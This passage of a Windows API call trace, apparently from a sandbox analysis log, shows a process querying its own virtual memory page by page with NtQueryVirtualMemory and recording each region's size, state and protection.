VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x850000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x41000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.537] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x851000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x851000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x40000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.537] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x852000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x852000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x3f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.537] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x853000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x853000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x3e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.537] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x854000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x854000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x3d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x855000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x855000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x3c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x856000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x856000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x3b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x857000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x857000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x3a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x858000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x858000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x39000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x859000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x859000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x38000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x85a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x37000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x85b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x36000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x85c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x35000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.538] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x85d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x34000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.539] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x85e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x33000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.539] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x85f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x32000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.539] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x860000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x860000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x31000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.539] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x861000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x861000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x30000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.539] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x862000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x862000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x2f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.539] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x863000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x863000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x2e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.539] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x864000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x864000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x2d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.539] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x865000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x865000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x2c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x866000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x866000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x2b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x867000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x867000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x2a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x868000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x868000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x29000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x869000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x869000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x28000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x86a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x27000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x86b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x26000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x86c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x25000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x86d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x24000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.540] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x86e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x23000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.541] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x86f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x22000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.541] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x870000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x870000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x21000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.541] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x871000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x871000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x20000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.541] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x872000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x872000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x1f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.541] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x873000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x873000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x1e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.541] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x874000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x874000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x1d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.541] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x875000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x875000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x1c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.541] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x876000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x876000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x1b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x877000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x877000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x1a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x878000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x878000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x19000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x879000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x879000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x18000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x87a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x17000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x87b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x16000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x87c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x15000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x87d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x14000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x87e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x13000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.542] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x87f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x12000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.543] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x880000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x880000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x11000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.543] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x881000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x881000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x10000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.543] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x882000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x882000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xf000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.543] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x883000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x883000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xe000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.543] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x884000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x884000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xd000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.543] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x885000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x885000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xc000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.543] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x886000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x886000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xb000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.543] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x887000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x887000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0xa000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x888000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x888000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x9000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x889000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x889000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x8000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x88a000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x88b000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x6000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x88c000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x88d000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x88e000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x88f000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x890000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x890000, AllocationBase=0x710000, AllocationProtect=0x2, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.544] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x891000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x891000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x892000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x892000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x893000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x893000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x894000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x894000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x895000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x895000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x896000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x896000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x897000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x897000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x898000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, 